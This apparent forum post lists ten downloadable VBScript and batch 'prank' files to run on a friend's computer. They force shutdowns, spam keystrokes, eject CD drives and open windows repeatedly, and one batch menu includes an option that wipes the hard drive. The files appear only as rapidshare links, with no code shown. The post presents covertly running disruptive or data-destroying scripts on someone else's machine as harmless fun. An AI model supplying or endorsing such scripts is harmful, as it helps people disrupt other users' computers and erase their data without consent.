JAsh

1) Convey your friend a lil' message and shut down his / her computer:

http://rapidshare.com/files/274548135/1.vbs

2) Toggle your friend's Caps Lock button simultaneously:

http://rapidshare.com/files/274548159/2.vbs

3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

http://rapidshare.com/files/274548191/3.vbs

4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

http://rapidshare.com/files/274548215/4.vbs

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

http://rapidshare.com/files/274548263/5.vbs

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

http://rapidshare.com/files/274548287/6.vbs

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

http://rapidshare.com/files/274548314/7.vbs

8) Open Notepad continually in your friend's computer:
Type :

http://rapidshare.com/files/274550284/8.bat

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
≡≡≡≡≡≡
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

http://rapidshare.com/files/274550328/9.bat

10) THREATEN BY MAKING SCREEN FLASH

http://rapidshare.com/files/274550374/10.bat